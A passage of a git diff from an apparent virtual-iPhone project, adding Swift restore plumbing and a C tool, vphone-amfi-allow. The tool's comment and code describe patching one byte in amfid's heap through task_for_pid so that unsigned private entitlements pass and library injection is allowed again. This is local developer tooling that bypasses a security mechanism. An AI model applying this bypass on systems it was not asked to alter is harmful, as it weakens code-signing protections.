+ public static let verifyFilesystem = VPhoneRestoreStep(rawValue: VPHONE_RESTORE_STEP_VERIFY_FS)
+ public static let flashFirmware = VPhoneRestoreStep(rawValue: VPHONE_RESTORE_STEP_FLASH_FW)
+ public static let flashBaseband = VPhoneRestoreStep(rawValue: VPHONE_RESTORE_STEP_FLASH_BB)
+ public static let flashFUD = VPhoneRestoreStep(rawValue: VPHONE_RESTORE_STEP_FUD)
+ public static let uploadImage = VPhoneRestoreStep(rawValue: VPHONE_RESTORE_STEP_UPLOAD_IMG)
+
+ /// The short label the C bridge prints for this step.
+ public var name: String {
+ String(cString: vphone_restore_step_name(rawValue))
+ }
+
+ public var description: String { name }
+}
+
+// MARK: - VPhoneRestoreEvent
+
+/// Everything a running restore reports.
+///
+/// `message` arrives with whatever line ending idevicerestore produced — the
+/// levelled channel keeps its newline, the captured `printf` channel does not —
+/// so a sink that renders it should normalize rather than assume.
+public enum VPhoneRestoreEvent: Sendable {
+ case log(level: VPhoneRestoreLogLevel, message: String)
+ case progress(step: VPhoneRestoreStep, fraction: Double)
+}
+
+// MARK: - VPhoneRestoreEventHandler
+
+/// Called from idevicerestore's worker threads, so it has to be safe to call
+/// concurrently — hence `@Sendable`, not a convention.
+public typealias VPhoneRestoreEventHandler = @Sendable (VPhoneRestoreEvent) -> Void
+
+// MARK: - VPhoneRestoreConsole
+
+/// The sink that stands in for what the CLI used to see.
+///
+/// `vphone-cli restore` ran the Python bridge through
+/// `VPhoneProcessRunner.runStreaming`, which teed the child's stdout straight
+/// to the terminal, so the user watched the restore log scroll by. This prints
+/// the same stream from in-process: one line per message, errors on stderr,
+/// everything else on stdout.
+public enum VPhoneRestoreConsole {
+ /// An event handler that writes to the terminal.
+ ///
+ /// - Parameters:
+ /// - level: lines above this are dropped. `.info` is what the Python
+ /// bridge's single `-v` produced; `.debug` is its `-vv`.
+ /// - showsProgress: whether `[step] 42%` lines are printed. Off by
+ /// default — idevicerestore already narrates its phases through the log
+ /// channel, and the progress callback fires often enough to bury it.
+ ///
+ /// Writes are serialized: the levelled channel holds idevicerestore's own
+ /// mutex, but the captured `printf` channel does not, and two threads
+ /// interleaving mid-line is the kind of log nobody can read. Each call
+ /// returns an independently locked sink, so use one per restore.
+ public static func handler(
+ level: VPhoneRestoreLogLevel = .info,
+ showsProgress: Bool = false
+ ) -> VPhoneRestoreEventHandler {
+ let lock = NSLock()
+ return { event in
+ switch event {
+ case let .log(messageLevel, message):
+ guard messageLevel <= level else { return }
+ let line = message.trimmingCharacters(in: .newlines)
+ guard !line.isEmpty else { return }
+ lock.lock()
+ defer { lock.unlock() }
+ if messageLevel == .error {
+ FileHandle.standardError.write(Data("\(line)\n".utf8))
+ } else {
+ print(line)
+ }
+ case let .progress(step, fraction):
+ guard showsProgress else { return }
+ lock.lock()
+ defer { lock.unlock() }
+ print(String(format: "[%@] %3.0f%%", step.name, fraction * 100))
+ }
+ }
+ }
+}
diff --git a/sources/VPhoneRestore/VPhoneRestoreIdentity.swift b/sources/VPhoneRestore/VPhoneRestoreIdentity.swift
new file mode 100644
index 00000000..4f5ba91d
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRestoreIdentity.swift
@@ -0,0 +1,79 @@
+import Foundation
+
+// MARK: - VPhoneRestoreIdentity
+
+/// How a device is named on the command line: a hex ECID and an optional UDID.
+///
+/// Both functions reproduce `scripts/pymobiledevice3_bridge.py` exactly —
+/// `parse_ecid` and `normalize_udid` — because the same strings come out of a
+/// bundle's `udid-prediction.txt`, out of `make restore*`, and off users'
+/// shell histories.
+public enum VPhoneRestoreIdentity {
+ // MARK: ECID
+
+ /// Python's `parse_ecid`.
+ ///
+ /// - `nil` and `""` are "no ECID given", not an error — the caller then
+ /// targets whatever single device is attached.
+ /// - A `0x` prefix is optional and case-insensitive.
+ /// - A value that is nothing but the prefix, or nothing but whitespace, is
+ /// `.ecidEmpty`.
+ /// - A non-hex character anywhere is `.ecidInvalid`, reporting the value as
+ /// it was typed.
+ public static func parseECID(_ value: String?) throws -> UInt64? {
+ // `if not value` in Python: None and "" both mean "unset". A value of
+ // only whitespace is NOT caught here — it is truthy in Python — and
+ // falls through to the empty check below, which is the intent.
+ guard let value, !value.isEmpty else { return nil }
+
+ var raw = Substring(value.trimmingCharacters(in: .whitespacesAndNewlines).lowercased())
+ if raw.hasPrefix("0x") { raw = raw.dropFirst(2) }
+
+ guard !raw.isEmpty else { throw VPhoneRestoreBackendError.ecidEmpty }
+ guard raw.allSatisfy(\.isHexDigitASCII) else {
+ throw VPhoneRestoreBackendError.ecidInvalid(value)
+ }
+ guard raw.count <= 16, let parsed = UInt64(raw, radix: 16) else {
+ throw VPhoneRestoreBackendError.ecidTooLarge(value)
+ }
+ return parsed
+ }
+
+ /// The `%016X` form an ECID is written in everywhere in this project — in
+ /// a bundle's `udid-prediction.txt`, in a UDID's second half, and in the
+ /// `.shsh` filename.
+ public static func formatECID(_ ecid: UInt64) -> String {
+ String(format: "%016llX", ecid)
+ }
+
+ // MARK: UDID
+
+ /// Python's `normalize_udid`, plus the emptiness test its callers then did.
+ ///
+ /// Python returned `""` for `""` and every call site immediately treated
+ /// that as falsy — `if udid_normalized and serial != udid_normalized` — so
+ /// an empty UDID meant "match any device". Collapsing it to `nil` here says
+ /// the same thing once, at the only place that can still get it wrong.
+ ///
+ /// The upper-casing is not cosmetic: a UDID read back from usbmuxd or from
+ /// `udid-prediction.txt` is upper-case hex, and a lower-case `--udid` would
+ /// otherwise match nothing.
+ public static func normalizeUDID(_ value: String?) -> String? {
+ guard let value else { return nil }
+ let trimmed = value.trimmingCharacters(in: .whitespacesAndNewlines).uppercased()
+ return trimmed.isEmpty ? nil : trimmed
+ }
+}
+
+// MARK: - Character
+
+private extension Character {
+ /// `c not in "0123456789abcdef"`, on a value already lower-cased.
+ ///
+ /// Not `isHexDigit`: that is true for the full-width and Arabic-Indic digit
+ /// forms too, and `UInt64(_:radix:)` would then reject what this accepted.
+ var isHexDigitASCII: Bool {
+ guard let ascii = asciiValue else { return false }
+ return (0x30...0x39).contains(ascii) || (0x61...0x66).contains(ascii)
+ }
+}
diff --git a/sources/VPhoneRestore/VPhoneRestoreLayout.swift b/sources/VPhoneRestore/VPhoneRestoreLayout.swift
new file mode 100644
index 00000000..c26bc332
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRestoreLayout.swift
@@ -0,0 +1,71 @@
+import Foundation
+
+// MARK: - VPhoneRestoreLayout
+
+/// Where a restore's files sit inside a VM bundle.
+///
+/// Both rules here come from `scripts/pymobiledevice3_bridge.py` and both are
+/// load-bearing: `make restore_offline`, `vphone-cli restore --offline` and the
+/// `vm create` orchestrator all find the `.shsh` by the name this produces.
+public enum VPhoneRestoreLayout {
+ // MARK: Restore directory
+
+ /// Python's `find_restore_dir`: the ONE `iPhone*_Restore` directory in the
+ /// bundle.
+ ///
+ /// Neither failure is defensive. None means `fw_prepare` has not run (or
+ /// ran into a different bundle), and more than one means two firmware trees
+ /// are sitting side by side — restoring from whichever sorted first would
+ /// flash a build nobody chose.
+ public static func findRestoreDirectory(in vmDir: URL) throws -> URL {
+ let names = try restoreDirectoryNames(in: vmDir)
+ guard let first = names.first else {
+ throw VPhoneRestoreBackendError.noRestoreDirectory(vmDir)
+ }
+ guard names.count == 1 else {
+ throw VPhoneRestoreBackendError.multipleRestoreDirectories(names)
+ }
+ return vmDir.appendingPathComponent(first, isDirectory: true)
+ }
+
+ /// The sorted names matching Python's `vm_dir.glob("iPhone*_Restore")`.
+ ///
+ /// `hasPrefix` + `hasSuffix` is the whole of that glob here, because no
+ /// suffix of "iPhone" is a prefix of "_Restore" — the two literals cannot
+ /// overlap, so any name satisfying both is at least "iPhone_Restore" long
+ /// and `*` has something (possibly empty) to match.
+ static func restoreDirectoryNames(in vmDir: URL) throws -> [String] {
+ let fm = FileManager.default
+ let entries = (try? fm.contentsOfDirectory(atPath: vmDir.path)) ?? []
+
+ return entries
+ .filter { name in
+ guard name.hasPrefix("iPhone"), name.hasSuffix("_Restore") else { return false }
+ // `fileExists(atPath:isDirectory:)` stats through a symlink,
+ // which is what Python's `p.is_dir()` did — a bundle that
+ // points its restore tree at a shared firmware directory has
+ // to keep working. `URLResourceValues.isDirectory` would NOT:
+ // it answers for the link itself.
+ var isDirectory: ObjCBool = false
+ let exists = fm.fileExists(
+ atPath: vmDir.appendingPathComponent(name).path,
+ isDirectory: &isDirectory
+ )
+ return exists && isDirectory.boolValue
+ }
+ .sorted()
+ }
+
+ // MARK: SHSH output
+
+ /// Python's `derive_shsh_output`: `<ECID as %016X>.shsh` beside the bundle,
+ /// or `auto.shsh` when the device never reported an ECID.
+ ///
+ /// The name is a contract, not a convenience — `VPhoneRestoreCLI`'s
+ /// `--offline` path picks the first `*.shsh` in the bundle, and the
+ /// `%016X` form is what sorts a per-device blob next to its VM.
+ public static func shshOutput(vmDir: URL, ecid: UInt64?) -> URL {
+ let tag = ecid.map(VPhoneRestoreIdentity.formatECID) ?? "auto"
+ return vmDir.appendingPathComponent("\(tag).shsh", isDirectory: false)
+ }
+}
diff --git a/sources/VPhoneRestore/VPhoneRestoreOptions.swift b/sources/VPhoneRestore/VPhoneRestoreOptions.swift
new file mode 100644
index 00000000..8cf66cf7
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRestoreOptions.swift
@@ -0,0 +1,119 @@
+import Foundation
+import MobileRestoreCore
+
+// MARK: - VPhoneRestoreOptions
+
+/// One run of `vphone_restore_run`, in Swift terms.
+///
+/// This is the whole of `struct vphone_restore_options` except its three
+/// callback fields, which `VPhoneRestoreRunner` fills in — a caller passes a
+/// closure, never a function pointer.
+public struct VPhoneRestoreOptions: Sendable, Equatable {
+ /// The extracted `iPhone*_Restore` directory. A `.ipsw` archive is
+ /// rejected: this build has no libzip (see `sources/MobileRestoreCore/zip.h`).
+ public var restoreDirectory: URL
+
+ /// Where personalized components and `shshOnly`'s output land. `nil` is
+ /// idevicerestore's default, the process's current directory.
+ public var cacheDirectory: URL?
+
+ /// Target one device by UDID. Only a device in normal mode has one, so a
+ /// DFU or recovery target is matched by `ecid` alone.
+ public var udid: String?
+
+ /// Target one device by ECID. `0` means "the only one attached".
+ public var ecid: UInt64
+
+ /// `true` erases (upstream's `-e`, pymobiledevice3's `Behavior.Erase`),
+ /// `false` updates in place (`Behavior.Update`).
+ public var erase: Bool
+
+ /// `nil` fetches a ticket from Apple. Non-`nil` restores offline from a
+ /// saved TSS response — the WHOLE response, not a bare AP ticket.
+ public var ticketPath: URL?
+
+ /// Fetch the TSS record into `cacheDirectory/shsh/` and stop without
+ /// touching the device. Upstream's `-t/--shsh`.
+ public var shshOnly: Bool
+
+ /// Also write each personalized component to a file. Upstream's `-k`.
+ public var keepPers: Bool
+
+ /// `0` is normal output; anything higher turns on idevicerestore's debug
+ /// logging, which is also what raises the log callback's level ceiling.
+ public var debugLevel: Int32
+
+ public init(
+ restoreDirectory: URL,
+ cacheDirectory: URL? = nil,
+ udid: String? = nil,
+ ecid: UInt64 = 0,
+ erase: Bool = true,
+ ticketPath: URL? = nil,
+ shshOnly: Bool = false,
+ keepPers: Bool = false,
+ debugLevel: Int32 = 0
+ ) {
+ self.restoreDirectory = restoreDirectory
+ self.cacheDirectory = cacheDirectory
+ self.udid = udid
+ self.ecid = ecid
+ self.erase = erase
+ self.ticketPath = ticketPath
+ self.shshOnly = shshOnly
+ self.keepPers = keepPers
+ self.debugLevel = debugLevel
+ }
+}
+
+// MARK: - C mapping
+
+public extension VPhoneRestoreOptions {
+ /// Builds the C struct and hands it to `body`.
+ ///
+ /// Every `const char *` in it points into storage that lives exactly as
+ /// long as the call, so nothing here may be stashed for later — which is
+ /// fine, because `vphone_restore_run` copies what it keeps.
+ ///
+ /// The callback fields are left `NULL`; `VPhoneRestoreRunner` sets them on
+ /// its own copy.
+ func withCOptions<R>(_ body: (vphone_restore_options) throws -> R) rethrows -> R {
+ let strings = VPhoneCStringBag()
+ defer { strings.releaseAll() }
+
+ var options = vphone_restore_options()
+ options.restore_dir = strings.duplicate(restoreDirectory.path)
+ options.cache_dir = strings.duplicate(cacheDirectory?.path)
+ options.udid = strings.duplicate(udid)
+ options.ecid = ecid
+ options.erase = erase
+ options.ticket_path = strings.duplicate(ticketPath?.path)
+ options.shsh_only = shshOnly
+ options.keep_pers = keepPers
+ options.debug_level = debugLevel
+ return try body(options)
+ }
+}
+
+// MARK: - VPhoneCStringBag
+
+/// C strings that all go away together.
+///
+/// Nesting seven `withCString` closures would say the same thing and read like
+/// a staircase; this keeps `withCOptions` flat and frees in one place.
+final class VPhoneCStringBag {
+ private var allocations: [UnsafeMutablePointer<CChar>] = []
+
+ /// `nil` in, `nil` out — which is what every optional field of
+ /// `vphone_restore_options` means by "not set".
+ func duplicate(_ value: String?) -> UnsafePointer<CChar>? {
+ guard let value, let copy = strdup(value) else { return nil }
+ allocations.append(copy)
+ return UnsafePointer(copy)
+ }
+
+ func releaseAll() {
+ for allocation in allocations { free(allocation) }
+ allocations.removeAll()
+ }
+}
diff --git a/sources/VPhoneRestore/VPhoneRestoreRunner.swift b/sources/VPhoneRestore/VPhoneRestoreRunner.swift
new file mode 100644
index 00000000..1166a4fa
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRestoreRunner.swift
@@ -0,0 +1,94 @@
+import Foundation
+import MobileRestoreCore
+
+// MARK: - VPhoneRestoreRunner
+
+/// The thin layer over `vphone_restore_run`: closures in, C function pointers
+/// out, a result code turned into a typed error.
+///
+/// Everything above this — `VPhoneRestoreBridge` — is about which directory and
+/// which ticket; everything below it is idevicerestore.
+public enum VPhoneRestoreRunner {
+ /// Runs one restore to completion.
+ ///
+ /// Three things about this call are not negotiable, and all three come from
+ /// the C bridge rather than from here:
+ ///
+ /// - It BLOCKS for the whole restore, which is minutes.
+ /// - Only one may run at a time in a process; a second concurrent call
+ /// throws `.restoreAlreadyRunning` rather than corrupting the first.
+ /// - It swaps the process's `stdout` while it runs, so anything else
+ /// printing from another thread meanwhile arrives at `onEvent` instead of
+ /// on the terminal.
+ ///
+ /// `onEvent` is called from idevicerestore's worker threads, concurrently,
+ /// which is why it is `@Sendable`.
+ public static func run(
+ _ options: VPhoneRestoreOptions,
+ onEvent: @escaping VPhoneRestoreEventHandler = { _ in }
+ ) throws {
+ let sink = VPhoneRestoreEventSink(onEvent)
+ let result = options.withCOptions { base -> Int32 in
+ var c = base
+ c.context = Unmanaged.passUnretained(sink).toOpaque()
+ c.log_cb = { level, message, context in
+ guard let context, let message else { return }
+ let sink = Unmanaged<VPhoneRestoreEventSink>.fromOpaque(context).takeUnretainedValue()
+ sink.handler(.log(
+ level: VPhoneRestoreLogLevel(clamping: level),
+ message: String(cString: message)
+ ))
+ }
+ c.progress_cb = { step, fraction, context in
+ guard let context else { return }
+ let sink = Unmanaged<VPhoneRestoreEventSink>.fromOpaque(context).takeUnretainedValue()
+ sink.handler(.progress(step: VPhoneRestoreStep(rawValue: step), fraction: fraction))
+ }
+ return vphone_restore_run(&c)
+ }
+ // `sink` is passed unretained, so it has to outlive the C call. It
+ // does — `withCOptions` returns first — but say so, or a release build
+ // is free to drop it the moment the closure above stops naming it.
+ withExtendedLifetime(sink) {}
+
+ try throwIfFailed(result, options: options)
+ }
+
+ // MARK: Result codes
+
+ private static func throwIfFailed(_ result: Int32, options: VPhoneRestoreOptions) throws {
+ switch result {
+ case VPHONE_RESTORE_OK:
+ return
+ case VPHONE_RESTORE_E_BUSY:
+ throw VPhoneRestoreBackendError.restoreAlreadyRunning
+ case VPHONE_RESTORE_E_NO_RESTORE_DIR:
+ throw VPhoneRestoreBackendError.restoreDirectoryUnusable(options.restoreDirectory)
+ case VPHONE_RESTORE_E_TICKET:
+ throw VPhoneRestoreBackendError.ticketUnreadable(
+ options.ticketPath ?? options.restoreDirectory
+ )
+ default:
+ // Everything else, including the small negatives idevicerestore
+ // returns itself. The log stream carries what actually went wrong.
+ throw VPhoneRestoreBackendError.restoreFailed(
+ code: result,
+ reason: String(cString: vphone_restore_error_string(result))
+ )
+ }
+ }
+}
+
+// MARK: - VPhoneRestoreEventSink
+
+/// Carries the caller's closure through `void *context`.
+///
+/// `Sendable` without `@unchecked`: the only stored property is a `let` holding
+/// an already-`@Sendable` function.
+final class VPhoneRestoreEventSink: Sendable {
+ let handler: VPhoneRestoreEventHandler
+
+ init(_ handler: @escaping VPhoneRestoreEventHandler) {
+ self.handler = handler
+ }
+}
diff --git a/sources/VPhoneRestore/VPhoneRestoreTicket.swift b/sources/VPhoneRestore/VPhoneRestoreTicket.swift
new file mode 100644
index 00000000..a631b4a2
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRestoreTicket.swift
@@ -0,0 +1,116 @@
+import Foundation
+import zlib
+
+// MARK: - VPhoneRestoreTicket
+
+/// Reading back what idevicerestore's `-t/--shsh` wrote.
+///
+/// It writes a GZIPPED binary plist — `plist_to_bin` into `gzopen`/`gzwrite`,
+/// `idevicerestore.c`'s `FLAG_SHSHONLY` block — under a name that carries the
+/// device's real ECID. The Python bridge wrote a plain plist under a different
+/// name, so both halves have to be undone before the file can be put where
+/// everything else expects it.
+public enum VPhoneRestoreTicket {
+ // MARK: Filename
+
+ /// The ECID out of `<ecid>-<product type>-<version>.shsh`.
+ ///
+ /// idevicerestore prints `client->ecid` there in DECIMAL, and it is the
+ /// ECID the device actually reported — which is the one Python used for the
+ /// output name too (`device.get_ecid_value()`, not the requested value). So
+ /// this is how a probe-free `--ecid`-less fetch still gets a named `.shsh`.
+ public static func ecid(fromSHSHFilename name: String) -> UInt64? {
+ let digits = name.prefix { $0.isASCII && $0.isNumber }
+ guard !digits.isEmpty else { return nil }
+ return UInt64(digits)
+ }
+
+ // MARK: Contents
+
+ /// The plist bytes of a `.shsh`, gzip wrapper removed if there is one.
+ ///
+ /// Three shapes reach this: idevicerestore's gzipped binary plist, the
+ /// plain XML plist the Python bridge wrote, and a bare binary plist. The
+ /// result is written out as-is rather than re-serialized, so a file that
+ /// came in as XML stays XML and a blob's bytes are never rewritten.
+ public static func plistData(of data: Data, at path: URL) throws -> Data {
+ let unwrapped: Data
+ if isGzipped(data) {
+ guard let inflated = gunzip(data) else {
+ throw VPhoneRestoreBackendError.shshNotDecompressible(path)
+ }
+ unwrapped = inflated
+ } else {
+ unwrapped = data
+ }
+
+ // A TSS response is a dictionary with an entry per component. Anything
+ // else here means the wrong file, and finding that out now beats
+ // finding it out from a device that rejects every component.
+ guard let object = try? PropertyListSerialization.propertyList(
+ from: unwrapped,
+ options: [],
+ format: nil
+ ), object is [String: Any] else {
+ throw VPhoneRestoreBackendError.shshMalformed(path)
+ }
+ return unwrapped
+ }
+
+ /// The gzip magic, `1f 8b`.
+ public static func isGzipped(_ data: Data) -> Bool {
+ data.count >= 2 && data[data.startIndex] == 0x1F && data[data.startIndex + 1] == 0x8B
+ }
+
+ /// Inflates a gzip stream, or `nil` if it is not one.
+ ///
+ /// `windowBits = 15 + 32` is zlib's "detect zlib or gzip from the header"
+ /// setting, so this also reads a plain zlib stream — which nothing here
+ /// writes, but a hand-made `.shsh` might.
+ public static func gunzip(_ data: Data) -> Data? {
+ guard !data.isEmpty else { return nil }
+
+ var stream = z_stream()
+ let initialized = inflateInit2_(
+ &stream,
+ 15 + 32,
+ zlibVersion(),
+ Int32(MemoryLayout<z_stream>.size)
+ )
+ guard initialized == Z_OK else { return nil }
+ defer { inflateEnd(&stream) }
+
+ var output = Data()
+ let chunkSize = 64 * 1024
+ var chunk = [UInt8](repeating: 0, count: chunkSize)
+
+ let ok = data.withUnsafeBytes { (raw: UnsafeRawBufferPointer) -> Bool in
+ guard let base = raw.bindMemory(to: Bytef.self).baseAddress else { return false }
+ stream.next_in = UnsafeMutablePointer(mutating: base)
+ stream.avail_in = uInt(raw.count)
+
+ while true {
+ let status: Int32 = chunk.withUnsafeMutableBufferPointer { buffer in
+ stream.next_out = buffer.baseAddress
+ stream.avail_out = uInt(chunkSize)
+ return inflate(&stream, Z_NO_FLUSH)
+ }
+ let produced = chunkSize - Int(stream.avail_out)
+ if produced > 0 { output.append(contentsOf: chunk[0..<produced]) }
+
+ switch status {
+ case Z_STREAM_END:
+ return true
+ case Z_OK, Z_BUF_ERROR:
+ // Z_BUF_ERROR with nothing left to read is a truncated
+ // stream; with input left it just means "call me again".
+ if status == Z_BUF_ERROR, produced == 0, stream.avail_in == 0 { return false }
+ if stream.avail_in == 0, produced == 0 { return false }
+ default:
+ return false
+ }
+ }
+ }
+ return ok ? output : nil
+ }
+}
diff --git a/sources/vphone-amfi-allow/LICENSE b/sources/vphone-amfi-allow/LICENSE
new file mode 100644
index 00000000..cfe904ee
--- /dev/null
+++ b/sources/vphone-amfi-allow/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Lakr233
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/sources/vphone-amfi-allow/vphone-amfi-allow.c b/sources/vphone-amfi-allow/vphone-amfi-allow.c
new file mode 100644
index 00000000..8877e827
--- /dev/null
+++ b/sources/vphone-amfi-allow/vphone-amfi-allow.c
@@ -0,0 +1,622 @@
+// vphone-amfi-allow — let an ad-hoc signed binary carry Apple-private
+// entitlements, without writing a single byte into anyone's __TEXT.
+//
+// This is the project's copy of github.com/Lakr233/amfi-allow (MIT), which is
+// one C file and no dependencies, so it is carried here rather than pulled in:
+// it cannot be a SwiftPM dependency, because `scripts/build.sh` has to build it
+// for arm64e and SwiftPM only emits arm64. Keep it in step with upstream; the
+// only local changes are this header and the usage text.
+//
+// It exists because vphone-vm is the one binary here that holds
+// com.apple.private.* entitlements, and amfid refuses it. `make amfi_allow`
+// runs the allow step for the binaries the current build just produced. Their
+// cdhashes change every time they are signed, so that is a per-build step, not
+// a once-per-machine one.
+//
+// Build (no Xcode.app, no Python, no LLDB):
+//
+// clang -arch arm64e -O2 -framework CoreFoundation -framework Security \
+// -o vphone-amfi-allow vphone-amfi-allow.c
+// codesign --force --sign - vphone-amfi-allow
+//
+// ---------------------------------------------------------------------------
+// Why this exists
+// ---------------------------------------------------------------------------
+// An ad-hoc signed binary carrying com.apple.private.* entitlements is refused
+// by amfid, so the kernel kills it at exec. The usual answers rewrite amfid's
+// code:
+//
+// * debugger-based tools break on -[AMFIPathValidator_macos
+// validateWithError:] and patch the result register. LLDB's default is a
+// software breakpoint, which plants BRK in amfid's __TEXT.
+// * patchers overwrite the ldrb that loads _isValid in that method's
+// epilogue.
+//
+// Both produce a dirty, unsigned executable page in amfid. On a host with
+// vm.cs_system_enforcement = 1 the kernel validates that page on the next
+// fault and kills amfid: CODESIGNING / "Invalid Page". The sysctl is read-only
+// at runtime, so no amount of care makes "patch the code" survive it.
+//
+// ---------------------------------------------------------------------------
+// What this does instead
+// ---------------------------------------------------------------------------
+// AMFI already ships the feature we want. -[AMFIRequirementsManager
+// checkCodeRequirementsPreferenceUnsynchronized] reads
+//
+// /Library/Preferences/com.apple.security.coderequirements.plist
+//
+// and takes two keys out of it:
+//
+// Entitlements a code requirement string; it *replaces*
+// _restrictedRequirement, which is the
+// requirement a binary must satisfy to be
+// allowed to carry restricted entitlements.
+// AllowUnsafeDynamicLinking a BOOL; it becomes the validator's
+// _shouldUnrestrict, i.e. processes stop being
+// marked restricted, so DYLD_INSERT_LIBRARIES
+// is honoured again.
+//
+// -[AMFIPathValidator_macos validateWithError:] calls
+// SecStaticCodeCheckValidityWithErrors(code, 6, restrictedRequirement, &err)
+// on exactly that requirement. So `cdhash H"..."` in the Entitlements key is a
+// per-binary allowlist, evaluated by Apple's own code.
+//
+// The whole preference is gated on one BOOL ivar:
+//
+// _isRunningInternalBuild = (csr_check(CSR_ALLOW_APPLE_INTERNAL) == 0)
+//
+// set once in -[AMFIRequirementsManager init] and read in exactly four places,
+// all of them about this preference. (Its only other reader, the validator's
+// init, uses it to consult the sysctl security.mac.amfi.qa_root_certs_allowed,
+// which is 0 on a production machine.)
+//
+// So this tool writes ONE BYTE: that ivar, in the singleton, on amfid's heap.
+//
+// * The singleton pointer lives in a static slot inside the dyld shared
+// cache, at the same address in every process. This tool finds the slot by
+// decoding +[AMFIRequirementsManager sharedManager] and testing each
+// address it loads against the singleton this process just created --
+// nothing is hardcoded, and a layout change is a refusal, not a wild write.
+// * The target is malloc'd heap. No mach_vm_protect, no copy-on-write of a
+// shared-cache page, no executable memory, nothing for the code-signing
+// monitor to object to. vm.cs_system_enforcement is irrelevant.
+// * The ivar offset comes from the live ObjC runtime, never a constant.
+//
+// It needs root and task_for_pid, i.e. SIP with debugging restrictions off --
+// the same prerequisite the old tools had, and the same one that makes amfid
+// honour the preference at all (see the csr_check note above).
+//
+// `off` removes the preference and kills amfid; it is launch-on-demand with
+// EnablePressuredExit, so it comes back clean with the byte back at zero.
+#include <CoreFoundation/CoreFoundation.h>
+#include <Security/Security.h>
+#include <dlfcn.h>
+#include <errno.h>
+#include <libproc.h>
+#include <mach/mach.h>
+#include <mach/mach_vm.h>
+#include <objc/message.h>
+#include <objc/runtime.h>
+#include <ptrauth.h>
+#include <signal.h>
+#include <spawn.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/sysctl.h>
+#include <sys/time.h>
+#include <unistd.h>
+
+#define AMFID_PATH "/usr/libexec/amfid"
+#define AMFI_FRAMEWORK \
+ "/System/Library/PrivateFrameworks/AppleMobileFileIntegrity.framework/" \
+ "AppleMobileFileIntegrity"
+#define MANAGER_CLASS "AMFIRequirementsManager"
+#define PREFS_PATH "/Library/Preferences/com.apple.security.coderequirements.plist"
+
+#define SCAN_INSNS 64 // +sharedManager is short; this is generous
+
+static mach_port_t g_task = MACH_PORT_NULL;
+static pid_t g_amfid = -1;
+
+// --------------------------------------------------------------------------
+// this process
+// --------------------------------------------------------------------------
+
+static Class manager_class(void) {
+ static Class cls = Nil;
+ if (cls) return cls;
+ if (!dlopen(AMFI_FRAMEWORK, RTLD_NOW)) {
+ fprintf(stderr, "error: dlopen AppleMobileFileIntegrity: %s\n", dlerror());
+ exit(1);
+ }
+ cls = objc_getClass(MANAGER_CLASS);
+ if (!cls) {
+ fprintf(stderr, "error: class %s not found — this macOS build is not supported\n",
+ MANAGER_CLASS);
+ exit(1);
+ }
+ return cls;
+}
+
+static ptrdiff_t ivar_offset(const char *name) {
+ Ivar iv = class_getInstanceVariable(manager_class(), name);
+ if (!iv) {
+ fprintf(stderr, "error: ivar %s not found on %s — this macOS build is not supported\n",
+ name, MANAGER_CLASS);
+ exit(1);
+ }
+ return ivar_getOffset(iv);
+}
+
+// Read from this process without faulting on an unmapped address.
+static int peek_self(uintptr_t addr, void *buf, size_t len) {
+ mach_vm_size_t got = 0;
+ return mach_vm_read_overwrite(mach_task_self(), addr, len, (mach_vm_address_t)buf, &got) ==
+ KERN_SUCCESS &&
+ got == len;
+}
+
+// Decode +[AMFIRequirementsManager sharedManager] and return the static slot it
+// loads the singleton out of. The slot is identified by its contents — the
+// singleton this process just built — so a recompiled method that keeps the
+// same shape still resolves, and one that does not is reported instead of
+// guessed at.
+static mach_vm_address_t singleton_slot(void) {
+ Class cls = manager_class();
+ id local = ((id(*)(id, SEL))objc_msgSend)((id)cls, sel_registerName("sharedManager"));
+ if (!local) {
+ fprintf(stderr, "error: +[%s sharedManager] returned nil\n", MANAGER_CLASS);
+ exit(1);
+ }
+
+ Method m = class_getClassMethod(cls, sel_registerName("sharedManager"));
+ const uint32_t *code =
+ ptrauth_strip((void *)method_getImplementation(m), ptrauth_key_function_pointer);
+
+ uint64_t page[32];
+ int have[32];
+ memset(have, 0, sizeof(have));
+ mach_vm_address_t found = 0;
+ int matches = 0;
+
+ for (int i = 0; i < SCAN_INSNS; i++) {
+ uint32_t w = code[i];
+ if ((w & 0x9F000000u) == 0x90000000u) { // ADRP Xd, #imm
+ int rd = (int)(w & 0x1F);
+ int64_t imm = (int64_t)((((w >> 5) & 0x7FFFF) << 2) | ((w >> 29) & 3));
+ if (imm & (1 << 20)) imm -= (1 << 21); // sign extend 21 bits
+ page[rd] = (((uint64_t)(uintptr_t)&code[i]) & ~0xFFFULL) + (uint64_t)(imm << 12);
+ have[rd] = 1;
+ } else if ((w & 0xFFC00000u) == 0xF9400000u) { // LDR Xt, [Xn, #imm12*8]
+ int rn = (int)((w >> 5) & 0x1F);
+ if (!have[rn]) continue;
+ mach_vm_address_t slot = (mach_vm_address_t)(page[rn] + (((w >> 10) & 0xFFF) * 8));
+ uintptr_t value = 0;
+ if (peek_self((uintptr_t)slot, &value, sizeof(value)) && value == (uintptr_t)local) {
+ if (found && found != slot) matches++;
+ found = slot;
+ matches++;
+ }
+ } else if (w == 0xD65F0FFFu || w == 0xD65F03C0u) { // retab / ret
+ break;
+ }
+ }
+
